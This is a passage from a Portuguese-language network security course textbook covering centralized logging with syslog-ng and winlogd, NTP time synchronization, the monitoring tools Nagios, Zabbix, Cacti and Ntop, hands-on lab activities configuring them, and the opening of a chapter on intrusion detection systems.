Outra questão importante a ser considerada é o registro de logs em sistemas Windows. 
Infelizmente, o padrão Syslog é um padrão Unix, de modo que os sistemas Windows não 
o utilizam de forma nativa. Dessa forma, não é possível, utilizando apenas os recursos do 
sistema operacional, redirecionar os registros de log gerados por um sistema Windows para 
o syslog-ng, como foi feito antes para sistemas Unix. Apesar disso, existem algumas ferra-
mentas que permitem a compatibilidade entre o sistema de logs do Windows e o syslog-ng. 
Uma ferramenta simples e gratuita é o Winlogd:
1. Baixe o winlogd.exe no site indicado e copie para o diretório system32, dentro do diretório 
de instalação do Windows.
2. Execute winlogd –i para fazer a instalação como um serviço do Windows.
3. Configure o winlogd para enviar os logs para o servidor do syslog-ng, utilizando o registro 
do Windows (regedit). Os parâmetros são os seguintes (observe que 202 em hexadecimal 
equivale a 514 em decimal e que o parâmetro Server deve ser alterado para o endereço IP 
do servidor syslog-ng): 
3.1. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\winlogd\Parameters]
3.2. “Facility”=”local3” /* string para facilitar a identificação da origem dos logs no 
servidor central */
3.3. “Port”=dword:00000202 /* porta UDP, que será utilizada para envio dos logs: 514 
é a porta padrão do syslog */
3.4. “Server”=”192.168.42.7” /* /* endereço do servidor/local para aonde serão 
enviados os logs */
4. Inicie o serviço com o comando net start winlogd. 
5. Configure o syslog-ng para receber os logs. Exemplo de configuração:
source s_net { udp(ip(192.168.42.2) port(514)); };
filter f_winlogd { facility(local3); };
destination d_winlogd { file(“/var/log/winlogd”); };
log { source(s_net); filter(f_winlogd); destination(d_winlogd); }
Qualquer mudança de configuração no winlogd para se tornar efetiva deve ser precedida do 
reinício do serviço, que pode ser feito com os seguintes comandos:
 net stop winlogd
 net start winlogd
qPlugins NTP:
 1 NTPD
 1 NetTime
O NTP pode ser configurado como servidor ou cliente. É um protocolo para sincronização 
dos relógios dos computadores, baseado em uma fonte confiável: os relógios atômicos do 
Observatório Nacional, que definem a hora legal brasileira. Site do NTP: www.ntp.org.
Para indicações de 
analisadores de log: 
http://www.syslog.org/
wiki .Um analisador e 
correlacionador de logs 
utilizado pela comuni-
dade de segurança 
é o OSSEC. 
w
87
 
C
ap
ítu
lo
 4
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
O site armazena o projeto NTP, que desenvolve uma ferramenta de sincronização de reló-
gios para computadores Linux, Unix, VMS e Windows. O NTP pode ser configurado como 
servidor, como cliente e/ou as duas funcionalidades ao mesmo tempo. Assim, podemos 
buscar uma fonte de relógio externa, se assim desejarmos, e redistribuir essa fonte de hora 
confiável para a configuração dos relógios das máquinas da rede interna. A configuração do 
NTP ocorre com a edição do arquivo ntp.conf, localizado normalmente em /etc/ntp.conf nos 
servidores Unix. Segue um exemplo de configuração do NTP utilizando como referência os 
relógios do Comitê Gestor da Internet do Brasil (CGI.br):
# “memória” para o escorregamento de frequência do micro
# pode ser necessário criar esse arquivo manualmente com
# o comando touch ntp.drift
driftfile /etc/ntp.drift
# estatísticas do ntp que permitem verificar o histórico
# de funcionamento e gerar gráficos
statsdir /var/log/ntpstats/
statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable
# servidores públicos do projeto ntp.br
server a.ntp.br iburst
server b.ntp.br iburst
server c.ntp.br iburst
# outros servidores
# server outro-servidor.dominio.br iburst
# configurações de restrição de acesso
restrict default kod notrap nomodify nopeer
Para iniciar o NTP pela primeira vez, utilize o comando: # ntpd –q –g
88
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Dessa forma, o NTP será forçado a sincronizar o relógio local da máquina, mesmo que ele 
esteja com diferença superior a 16 minutos do servidor NTP da rede. Após iniciar o NTP, você 
pode deixá-lo rodando na máquina como deamon, com o seguinte comando:
# ntpd
Para consultar o estado do aplicativo NTP, utilize o seguinte comando:
# ntpq -c pe
 remote refid st t when poll reach delay offset jitter
==========================================================================
*b.ntp.br 200.20.186.76 2 u - 64 1 34.838 -32.439 29.778
 c.ntp.br 200.20.186.76 2 u 1 64 1 9.252 -33.407 4.105
# 
A saída do comando inclui as seguintes informações:
 1 remote: nome ou IP da fonte de tempo.
 1 refid: identificação da referência (par do sistema) a qual o servidor de tempo remoto está 
sincronizado.
 1 st: o estrato da fonte de tempo.
 1 when: quantos segundos se passaram desde a última consulta a essa fonte de tempo.
 1 poll: intervalo em segundos de cada consulta a essa fonte.
 1 reach: registrador de 8 bits, que vai girando para a esquerda, representado na forma 
octal, que mostra o resultado das últimas 8 consultas à fonte de tempo: 377 = 11.111.111 
significa que todas as consultas foram bem-sucedidas; outros números indicam falhas; 
375 = 11.111.101, por exemplo, indica que a penúltima consulta falhou.
 1 delay: tempo de ida e volta, em milissegundos, dos pacotes até essa fonte de tempo.
 1 offset: deslocamento, ou quanto o relógio local tem de ser adiantado ou atrasado (em 
milissegundos) para ficar igual ao da fonte de tempo.
 1 jitter: a variação, em milissegundos, entre as diferentes medidas de deslocamento para 
essa fonte de tempo.
Exercício de fixação 3 e 
Logs do Windows
Explique como funciona o log no Windows?
Exercício de fixação 4 e 
NTP
O que é um NTP?
89
 
C
ap
ítu
lo
 4
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Monitoramento de serviços
qAs ferramentas de monitoramento são um subconjunto do universo de ferramentas 
de gerenciamento que estão focadas em obter informações sobre elementos de infra-
estrutura de TI. Entre as ferramentas de monitoramento, destacamos algumas com o 
código-fonte aberto e distribuído sob a licença GNU GPL.
Nagios
qO Nagios é uma ferramenta de gerenciamento que monitora os elementos e serviços 
de rede. Os dados são coletados através de testes que simulam o funcionamento de 
aplicações como: File Transfer Protocol (FTP); Secure Shell (SSH); Hypertext Transfer Pro-
tocol (HTTP); Simple Mail Transfer Protocol (SMTP); Post Office Protocol version 3 (POP3); 
Network Time Protocol (NTP); InternetControl Message Protocol (ICMP); ou através de 
plugins adicionais que podem ser desenvolvidos e integrados ao Nagios. 
Diversos plugins estão disponíveis na internet e podem ser utilizados pelo administrador 
para testes mais completos. A interatividade com o administrador baseia-se no envio de 
mensagem eletrônica, alerta no console e mensagem SMS para celulares sobre o pro-
blema ocorrido. O grande destaque dessa ferramenta é a possibilidade de classificação de 
grupos de usuários para receber relatórios e alertas do sistema. Por exemplo, o problema 
de um determinado servidor pode ser comunicado ao responsável pelo serviço, bem 
como para uma equipe responsável pelos equipamentos ou ativos de rede. Toda a sua 
configuração é realizada em arquivos de texto e, a interface com o usuário, realizada em 
um console web. É possível obter relatórios de disponibilidade e planejar ações corretivas 
para os problemas ocorridos em equipamentos da rede. A figura a seguir apresenta a tela 
principal do Nagios, onde se pode ter uma visão abrangente do estado dos servidores que 
estão sendo monitorados pela ferramenta.
Figura 4.2 
Sumário dos 
eventos do Nagios.
90
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Existe ainda o projeto Fully Automated Nagios (FAN), que tem por objetivo prover uma 
instalação facilitada do Nagios e ferramentas auxiliares providas pela comunidade. 
O projeto FAN disponibiliza inclusive uma imagem em CD-ROM (ISO), que facilita a insta-
lação de um servidor Nagios. 
Zabbix
qO Zabbix é uma ferramenta de gerenciamento que monitora os elementos e serviços 
de rede. Os dados são coletados através de consultas ao SNMP (Simple Network 
Management Protocol), de ferramentas de testes que simulam o funcionamento das apli-
cações FTP (File Transfer Protocol), SSH (Secure Shell), HTTP (Hypertext Transfer Protocol) 
ou através de plugins adicionais que podem ser desenvolvidos e integrados ao Zabbix.
Todos os dados coletados pelo Zabbix são armazenados em uma base de dados SQL 
(Structured Query Language), permitindo a geração de relatórios pré-definidos e personali-
zados, e ainda a utilização de ferramentas especializadas para gerar relatórios. Entre os relató-
rios padrão gerados pelo Zabbix, temos os relatórios de disponibilidade, de nível de serviços, 
de tráfego de rede e de utilização de recursos, como CPU (Central Processing Unit) e memória.
Toda a configuração do Zabbix é realizada através de uma interface web clara e amigável. 
Os alarmes são emitidos no console web do usuário, via recursos de áudio, mensagens 
eletrônicas e/ou envio de SMS (Short Message Service) para aparelhos celulares. O Zabbix 
permite a geração de gráficos on-line e oferece ao administrador a possibilidade de criar 
mapas personalizados da rede. A seguir imagem de uma tela de monitoramento do Zabbix. 
Cacti
qFerramenta de monitoração criada por Ian Berry. Surgiu como uma opção de frontend 
(interface gráfica com o usuário para interagir com programas) que apresenta os gráficos 
dos dados obtidos através de consultas SNMP ou de scripts. Esses dados são armaze-
nados pelo Round-Robin Database Tool (RRDTool). 
Figura 4.3 
Tela de monitora-
mento do Zabbix.
Round-Robin 
Database Tool 
Software que armazena 
e mostra dados em 
série obtidos em um 
determinado período de 
tempo.
91
 
C
ap
ítu
lo
 4
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
O Cacti disponibiliza um ambiente de configuração e operação agradável e acessível (inter-
face web escrita em PHP), com controle de acesso por nível de usuário. As informações de 
configuração são armazenadas em um banco de dados SQL. Sua arquitetura prevê a possi-
bilidade de expansão através de plugins, que adicionam novas funcionalidades, tornando-o 
ainda mais completo. O Cacti é muito usado em monitoramento de links WAN, por conta 
da sua facilidade na criação de gráficos para monitorar a banda nos links contratados por 
operadoras. Apesar dessa funcionalidade importante, o Cacti pode ainda monitorar uma 
série de parâmetros importantes, como consumo de CPU, memória e espaço em disco, entre 
outros. A sua capacidade de apresentar os dados de maneira gráfica o torna um excelente 
complemento para o Nagios na tarefa de monitoramento. 
Figura 4.4 
Configuração 
do Cacti.
Figura 4.5 
Exemplos de 
gráficos Cacti.
92
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Existe ainda uma versão facilitada, que oferece uma distribuição Linux com o Cacti 
pré-instalado. Ela se chama CactiEZ e é uma boa opção para iniciantes que querem 
começar rapidamente a utilização da ferramenta. 
Ntop 
qO Network Traffic Probe (Ntop) é uma ferramenta livre para análise de tráfego de rede. 
Possui um servidor HTTP (Hypertext Transfer Protocol) e HTTPS (Hypertext Transfer 
Protocol Secure) nativo, que apresenta uma série de gráficos do tráfego e estatísticas da 
rede. Possui ainda um modo interativo no console de texto. Principais objetivos:
 1 Monitoramento e medida do tráfego.
 1 Planejamento e personalização da rede.
 1 Detecção de violações na segurança.
Com desenvolvimento iniciado em 1998 por Luca Deri, o Ntop opera nas plataformas Unix 
(incluindo Linux, BSD, Solaris e MacOSX) e Microsoft Windows. A coleta de informações é 
feita através da análise do tráfego das informações que passam pelas interfaces da rede 
local. Principais características: 
 1 Suporte ao Cisco NetFlow/sFlow.
 1 Identificação de sub-redes e seus usuários.
 1 Suporte ao WAP (Wireless Application Protocol).
 1 Ordenação de tráfego.
A figura seguinte mostra a estrutura funcional do Ntop, seus módulos e os itens que 
completam a ferramenta: 
 1 Servidor web (HTPS/HTTPS).
 1 Banco de dados (ODBC SQL).
 1 Protocolos (UDP/SNMP).
Máquina de relatório (servidor web) Plugins (banco de dados)
Analisador de pacote Regras de tráfego (SNMP)
Investigador do pacote
Cabo Ethernet
Avaliação das ferramentas
qAs ferramentas apresentadas podem ser classificadas em três grupos: 
 1 Ferramentas de monitoração de serviços, como Nagios e Zabbix.Ferramentas espe-
cializadas na geração de gráficos, como Cacti e Zabbix.Ferramentas de classificação 
de tráfego, como Ntop .
O Zabbix é uma ferramenta com algumas características que permitem que ela seja clas-
sificada também como ferramenta especializada na geração de gráficos, ainda que estes 
gráficos possuam menos recursos funcionais que os gráficos do Cacti.
Figura 4.6 
Arquitetura 
do Ntop.
93
 
C
ap
ítu
lo
 4
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Quase todas as ferramentas mencionadas são fáceis de instalar. A configuração do Nagios é 
complexa por exigir a manipulação de vários arquivos de texto. As demais ferramentas 
possuem interface web para configuração, estando bem documentadas e com vários artigos 
de referência publicados na internet. 
Características Nagios Zabbix Cacti Ntop
Open Source Sim Sim Sim Sim
Console web Sim Sim Sim Sim
Administração web Não Sim Sim Sim
Monitoramento de serviços Sim Sim Via plugin Não
Relatórios de disponibilidade Sim Sim Via plugin Não
Coleta de dados SNMP Via plugin Sim Sim Não
Monitoramento de recursos Sim Sim Sim Não
Mapas de rede Sim Sim Via plugin Tráfego
Classificação do tráfego de rede Não Via plugin Via plugin Sim
Coleta de Network Flows Não Não Não Sim
Detecção de violações de segurança Não Não Não Sim
Vantagens do Cacti
qDentre as opções apresentadas, o Cacti foi escolhido para ser a ferramenta usada neste 
curso, pelas seguintes razões:
 1 Ser simples de usar e adequado para um ambientede laboratório.
 1 Apresentar uma plataforma bem documentada.
 1 Possuir um agente eficiente com possibilidade de expansão de características (uso de 
registros gerados por ferramentas externas).
 1 Possuir arquitetura modular, que permite a integração de novos plug-ins.
 1 Capacidade de gerar gráficos.
 1 Capacidade de coletar informações por consultas SNMP.
Apesar das atividades práticas deste capítulo trabalharem apenas com a ferramenta Cacti, 
o aluno está convidado a questionar o instrutor sobre as outras ferramentas. As instru-
ções apresentadas durante este capítulo servem como ponto de partida para que o aluno 
seja capaz de instalar e configurar qualquer uma das ferramentas apresentadas. Muitas 
delas possuem versões pré-instaladas, em Live CDs, ou distribuições Linux customizadas 
de fácil instalação. 
Figura 4.7 
Comparação de 
características das 
ferramentas.
94
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
95
 
C
ap
ítu
lo
 4
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 4
Nas atividades deste roteiro, serão configurados os serviços essenciais de gerenciamento 
de hosts em uma rede, como serviço de logs centralizado, serviço de sincronização de relógio 
e monitoramento dos serviços e recursos dos sistemas.
Topologia A
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
DMZ 172.16.1.0/24
Topologia B
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
Rede local 10.1.1.0/24Rede local 10.1.1.0/24
DMZ 172.16.1.0/24
Internet
Atividade 1 – Configuração do servidor de Syslog 
Nesta atividade, o aluno vai configurar um repositório de Syslog em um servidor da DMZ e 
enviará os logs dos demais servidores para esse servidor.
O objetivo desta atividade é fazer o aluno aplicar os conceitos de repositório de logs de uma 
rede e preparar o ambiente para os serviços seguintes, que serão configurados durante o curso.
No host LinServer, para instalar o syslog-ng, é necessário que esse host já esteja com o acesso 
à internet configurado conforme o Roteiro de Atividades 3. Após realizar a instalação, com 
base na teoria apresentada, vamos configurar o servidor para receber o syslog local e da rede, 
e colocar os logs de cada host em um arquivo diferente no diretório /var/log/syslog/. 
Figura 4.8 
Topologias para 
a realização das 
atividades deste 
capítulo
96
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Exemplo:
Tabela de arquivos de log
Host Arquivo
LinServer /var/log/syslog/linserver.log
FWGW1 /var/log/syslog/fwgw1.log
Passo 1 No console do VirtualBox, acesse a máquina LinServer. Entre com as credenciais 
de usuário root.
Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:
# apt-get update
Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install syslog-ng
Passo 4 Configure o syslog-ng para receber mensagens de Syslog de outros hosts da 
rede e colocar mensagens de cada host em um arquivo específico:
# vi /etc/syslog-ng/syslog-ng.conf
Passo 5 No arquivo de configuração, adicione a origem remota. Neste caso vamos 
aceitar conexões UDP porta 514 de qualquer endereço de origem:
source s_rede { udp(); };
Passo 6 No arquivo de configuração do syslog-ng, adicione a linha que especifica onde 
serão armazenados os arquivos de log, com o parâmetro “destination”;
destination d_hosts-file { file(“/var/log/$HOST.log”); };
destination d_localhost-file { file(“/var/log/localhost.log”)};
Passo 7 No arquivo de configuração do syslog-ng, defina a regra log, associando a 
origem ao destino desejado. Lembre-se da tabela acima para definir essa regra:
log { source(s_rede); destination(d_hosts-file); };
log { source(s_all); destination(d_localhost-file); };
Passo 8 Como esta máquina foi configurada como servidor syslog-ng e também como 
agente, os logs locais da máquina devem iniciar o armazenamento no local 
definido em “destination”, após o reinício do serviço:
# /etc/init.d/syslog-ng restart
Configuração do cliente syslog-ng
Iremos instalar o syslog-ng no host FWGW1 e configurar para gravar os logs no local e enviar 
uma cópia para o servidor de logs.
Para instalar o syslog-ng, os comandos serão os mesmos apresentados para o servidor, 
conforme segue:
# apt-get update
# apt-get install syslog-ng
97
 
C
ap
ítu
lo
 4
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Passo 1 No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais 
de usuário root.
Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:
# apt-get update
Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install syslog-ng
Passo 4 Configure o syslog-ng para receber mensagens de syslog do sistema 
operacional e processos de usuários e armazenar essas mensagens em 
arquivo específico, conforme a tabela de arquivos de log localizada no início 
desta atividade:
# vi /etc/syslog-ng/syslog-ng.conf
Passo 5 No arquivo de configuração do syslog-ng, adicione a linha que especifica onde 
serão armazenados os arquivos de log, com o parâmetro “destination”. 
Neste caso o destino será o servidor de syslog, o host LinServer:
destination d_syslog-server { udp(“172.16.G.10” port(514)); };
Passo 6 Por fim, também no arquivo de configuração do syslog-ng, defina a regra log, 
associando a origem ao destino desejado; use a tabela de arquivos de log para 
definir essa regra:
log { source(s_all); destination(d_syslog-server); };
Passo 7 Como esta máquina foi configurada como agente syslog-ng, os logs da 
máquina iniciarão o envio para o servidor definido em “destination”, após 
o reinício do serviço:
# /etc/init.d/syslog-ng restart
Passo 8 Verifique no servidor de Syslog LinServer a criação do arquivo de log do host 
FWGW1 e seus registros. Para testar o envio de logs execute no FWGW1-G 
o comando:
# logger –p error Teste
Para configurar o syslog-ng como cliente, o aluno terá o material teórico e o manual do pro-
grama como referências. Para acessar o manual do syslog-ng, utilize o seguinte comando:
# man syslog-ng
Atividade 2 – Configuração do servidor de hora
Nesta atividade vamos configurar o serviço de sincronismo de relógio em um servidor da 
rede e configurar os demais hosts da rede para sincronizar com o relógio desse servidor. 
O aluno instalará o NTP nos hosts Linux, tanto no host que será o servidor de sincronismo 
de relógio, quanto nos hosts que serão clientes desse servidor. Para instalar o NTP utiliza-
remos os seguintes comandos:
# apt-get update
# apt-get install ntp
Para reiniciar o serviço no Debian, utilize o seguinte comando:
# /etc/init.d/ntp <ação>
98
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Onde a ação pode ser:
 1 start – para iniciar o serviço. 
 1 stop – para parar o serviço.
 1 restart – para reiniciar o serviço. 
A configuração do NTP fica por padrão no arquivo /etc/ntp.conf. Para que o programa assuma 
as novas configurações realizadas no arquivo de configuração, é necessário reiniciar o 
daemon NTP.
Configuração do servidor de sincronismo
Iremos configurar o host LinServer como servidor de sincronismo de relógio da rede. Assim, 
esse servidor sincronizará os servidores de relógio externos da RNP (ntp1.rnp.br) e disponi-
bilizará o serviço de sincronismo de relógio para os outros hosts da rede.
Como referência para esta atividade, utilizaremos o manual on-line “NTP.br - A Hora Legal 
Brasileira, via Internet”.
Passo 1 Instale o pacote NTP no host Debian LinServer no servidor LinServer-G; esse 
será o nossoservidor de tempo do laboratório:
# apt-get install ntp
Passo 2 Edite o arquivo de configuração do NTP (/etc/ntp.conf) com o seu editor de 
texto preferido e troque os servidores de tempo padrão do Debian pelos ser-
vidores de tempo do Comitê Gestor da Internet Brasil (CGI.br).
Exemplo: 
# vi /etc/ntp.conf
Comente as linhas:
server 0.debian.pool.ntp.org iburst dynamic
server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
Adicione as seguintes linhas:
server a.ntp.br iburst
server b.ntp.br iburst
server c.ntp.br iburst
Passo 3 Reinicie o processo NTP com o comando:
# /etc/init.d/ntp restart
Passo 4 Para verificar o funcionamento do NTP, podemos utilizar os seguintes comandos:
# ntpq -c pe
Passo 5 É importante verificar também se o processo do servidor de NTP está 
carregado corretamente e escutando por conexões:
# netstat –nap | grep ntp
Configuração do cliente de sincronismo Linux
Para configurar o NTP nos hosts Linux Debian, instalaremos o NTP conforme mostrado 
neste roteiro e iremos configurar o NTP para realizar a sincronia de relógio com o servidor 
configurado no item anterior.
99
 
C
ap
ítu
lo
 4
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
 Passo 1 Instale o pacote NTP no host Debian FWGW1-G; este será nosso cliente de 
tempo do laboratório:
# apt-get install ntp
Passo 2 Edite o arquivo de configuração do NTP (/etc/ntp.conf) com seu editor de texto 
preferido e troque os servidores de tempo padrão do Debian pelos servidores 
de tempo do Comitê Gestor da Internet Brasil (CGI.br).
Exemplo: 
# vi /etc/ntp.conf
Comente as linhas:
server 0.debian.pool.ntp.org iburst dynamic
server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
Adicione as seguintes linhas:
server 172.16.G.10 iburst
Onde G é referente ao grupo, G=1 para Topologia A e G=2 para Topologia B.
Passo 3 Reinicie o processo NTP com o comando:
# /etc/init.d/ntp restart
Passo 4 Para verificar o funcionamento do NTP, utilize o comando:
# ntpq -c pe
Configuração do cliente de sincronismo Windows
O Microsoft Windows XP, Windows 7 e Windows 2008 Server possuem uma forma simples 
de configurar o sincronismo de relógio com servidores de rede, desde de que não tenham 
o servidor de diretório Microsoft Active Directory como controlador de domínio, pois dessa 
forma o sincronismo é automático. Para a configuração do sincronismo automático do host 
Windows com o servidor de hora da rede, clique duas vezes no relógio da barra de tarefas 
para abrir uma janela auxiliar de configuração.
Passo 1 No host Windows XP, configure o relógio para sincronizar com o servidor de 
relógio do laboratório, o servidor LinServer (172.16.G.10).
100
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Passo 2 No host Windows 2008 Server, configure o relógio para sincronizar com o ser-
vidor de relógio do laboratório. Para isso, clique uma vez no relógio da barra de 
ferramentas, e aparecerá um menu flutuante; clique em “Change date and time 
settings...” e aparecerá a tela de auxílio de configuração do relógio, como a seguir:
Clique no botão “Change settings...” e aparecerá a tela de configuração do 
servidor NTP:
Coloque o endereço IP do servidor NTP do laboratório, host LinServer.
Atividade 3 – Monitoramento de serviços
Nesta atividade prática, o Cacti será configurado para monitorar os recursos dos servidores 
da rede. O Cacti e os pacotes necessários para o correto funcionamento serão instalados no 
LinServer. Serão configurados agentes SNMP nos servidores WinServer e FWGW1 para que o 
Cacti possa monitorar os recursos desses hosts.
Em um ambiente em produção, onde hosts estão configurados com SNMP versões 1 
e 2c, nunca utilize as communities “public” ou “private”. 
Nesses protocolos, as senhas são as próprias communities, de modo que é fortemente 
recomendado utilizar strings longas e complexas como communities. Para facilitar a imple-
mentação nesta atividade, excepcionalmente utilizaremos a community “public” nos hosts 
com SNMP versão 2c.
Instalação do Cacti
Passo 1 No console do VirtualBox, acesse a máquina LinServer. Entre com as credenciais 
de usuário root.
101
 
C
ap
ítu
lo
 4
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:
# apt-get update
Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install cacti
Para a senha de root do MySQL, utilize rnp123.
Para o servidor http, escolha Apache.
Responda YES, para o instalador do Cacti criar os esquemas de banco de dados.
Para as demais solicitações de senha, utilize rnp123.
Passo 4 Configure o Apache para publicar o Cacti:
# cp /etc/cacti/apache.conf /etc/apache2/conf.d/cacti.conf
# /etc/init.d/apache2 restart
Passo 5 No host Windows XP, acesse o console web do Cacti para concluir a instalação: 
http://172.16.G.10/cacti
Passo 6 No primeiro acesso do Cacti, utilize as seguintes credenciais:
Usuário: admin
Senha: admin
Será solicitada a alteração da senha: altere para rnpesr.
Instalação do agente SNMP no Linux
Passo 1 No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais 
de usuário root.
Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:
# apt-get update
Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install snmpd
Passo 4 Configure o SNMPD para permitir consulta aos discos locais da máquina pelo 
console de gerenciamento do Cacti instalado no host LinServer:
# vi /etc/snmp/snmpd.conf
Adicione as seguintes linhas:
com2sec readonly default public
syslocation Curso SEG-2 ESR RNP
syscontact Aluno ESR SEG-2 <aluno@esr.rnp.br>
disk / 
load 12 14 14
Edite o arquivo /etc/default/snmpd para permitir consultas SNMP remotas pela 
interface eth1:
# vi /etc/default/snmpd
Altere os parâmetros da variável SNMPDOPTS para:
SNMPDOPTS=’-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/
snmpd.pid 127.0.0.1 172.16.G.1’
Reinicie o serviço SNMPD:
#/etc/init.d/snmpd restart
Passo 5 No host Windows XP, acesse o console web do Cacti para adicionar a monito-
ração do novo host: http://172.16.G.10/cacti
102
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Instalação do agente SNMP no Windows
Passo 1 No console do VirtualBox, acesse a máquina WinServer. Entre com as credenciais 
de usuário “Administrator”.
Passo 2 Para adicionar o recurso SNMP no Windows, utilize a ferramenta “Server 
Manager”, disponível no botão “Start”, e “Administrative Tools”.
No Server Manager, adicione a feature SNMP Services.
Passo 3 Habilite o Windows Firewall para permitir conexão SNMP.
Não é preciso executar este passo no laboratório, pois o firewall do 
WinServer-G foi desativado no primeiro capítulo deste curso.
Passo 4 Configure o SNMP do Windows e crie a community “public”. Permita acesso do 
host LinServer apenas de leitura. Para isso, acesse a janela do gerenciador de 
serviços do Windows em “Start > All Programs > Administrative Tools > Services”.
Passo 5 Com o botão direito do mouse sobre o serviço “SNMP Service”, acesse a opção 
“Properties”. Configure as abas “Agent” e “Security”.
Ao final, reinicie o serviço “SNMP Service”.
Passo 6 No host Windows XP, acesse o console web do Cacti para adicionar a monito-
ração do novo host WinServer pela URL: http://172.16.G.10/cacti
103
 
C
ap
ítu
lo
 5
 - 
D
et
ec
çã
o 
e 
pr
ev
en
çã
o 
de
 in
tr
us
os
ob
je
tiv
os
conceitos5
Detecção e prevenção de intrusos
Compreender as ferramentas open source disponíveis na internet e as técnicas 
apropriadas para o monitoramento de segmentos de rede e de máquinas.
 
Sistemas de Detecção de Intrusos (IDS), seus componentes e classificações, HIDS 
e conceitos relacionados ao Snort, entre outros.
 
 
Introdução
Nos capítulos 2 e 3, vimos como estabelecer um perímetro para proteger uma rede interna 
dos perigos da internet e de outras redes públicas, incluindo a criação de uma DMZ para 
prover serviços públicos. Apesar de ser uma técnica bastante eficiente, existe a possibili-
dade de as nossas defesas serem atacadas e eventualmente vencidas. Lembre-se: não existe 
sistema 100% seguro e isso sempre vai existir. Por isso, a detecção e a prevenção de intrusos 
que consiste no monitoramento constante de diversos elementos, como segmentos de rede, 
sistemas operacionais e aplicações. Através desse monitoramento constante, podemos 
tomar uma ação caso alguma atividade suspeita seja detectada, que pode ser desde um 
alerta para o administrador de segurança até o bloqueio temporário ou permanente do 
atacante. Podemos considerar um IDS (Intrusion Detection System), em conjunto com um 
firewall, como uma aplicação do princípio de defesa em profundidade. 
Exercício de nivelamento 1 e 
Detecção e prevenção de intrusos
O que você entende por detecção e prevenção de intrusos?
Sistemas de Detecção de Intrusos (IDS)
qFerramenta capaz de detectar atividade maliciosa através do monitoramento constante 
de um segmento de rede ou de chamadas de sistema em um sistema operacional. Possui 
os seguintes componentes: Sensor, Engine e Console.
 1 Centralizados x Distribuídos.
104
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
qClassificações:
 1 Quanto ao modo de funcionamento:
 2 Detectores de anomalias.
 2 Detectores de mau uso.
 1 Quanto ao local de atuação:
 2 Baseados em host (HIDS).
 2 Baseados em redes (NIDS).
 1 Quanto à forma de atuação
 2 Reativos.
 2 Passivos.
 1 Ativos (IPS).
Um IDS consiste em uma ferramenta capaz de detectar atividade maliciosa através do 
monitoramento constante de um segmento de rede ou de chamadas de sistema em um 
sistema operacional. Existem diversos IDS no mercado com componentes e funcionamento 
distintos, porém normalmente encontramos os seguintes componentes em um IDS: 
 1 Sensor: responsável por coletar informações sobre a rede, sistema operacional ou apli-
cação, para ser utilizado como parâmetro de entrada para o sistema de detecção.
 1 Engine: responsável por analisar as informações coletadas e comparar com um padrão 
conhecido, para assim determinar se é um evento normal ou malicioso. Algumas engines 
trabalham com elementos mais determinísticos, como assinaturas de ataque. Outras traba-
lham com redes neurais e sistemas estatísticos, e podem detectar ataques desconhecidos. 
 1 Console: interface para o administrador configurar o funcionamento da ferramenta.
Esses componentes podem estar em uma única máquina ou distribuídos. Existem ainda 
diferentes tipos de IDS de acordo com o modo de funcionamento, local e forma de atuação 
frente a um ataque. Existem então as seguintes classificações para facilitar o nosso entendi-
mento sobre o assunto.
Quanto ao modo de funcionamento
 1 Detector de anomalias: utiliza alguma função estatística ou rede neural para definir um 
perfil de utilização normal da rede em uma etapa de aprendizado. Em seguida, analisa 
constantemente o padrão atual com o aprendido. Caso ocorra algum desvio acima de um 
limiar, considera que houve uma tentativa de intrusão. Essa técnica tem a vantagem de 
possibilitar a detecção de ataques desconhecidos, mas pode gerar falsos positivos e não 
é capaz de saber o ataque específico em ação. 
 1 Detector de mau uso: é o modo mais utilizado atualmente. Possui funcionamento pare-
cido com o de um antivírus. Através de um conjunto de assinaturas previamente confi-
guradas, o IDS monitora o ambiente em busca de eventos que coincidam com alguma 
assinatura. Possui baixo índice de falsos positivos caso as assinaturas sejam de boa quali-
dade. Não detectam ataques desconhecidos e dependem de atualização das assinaturas 
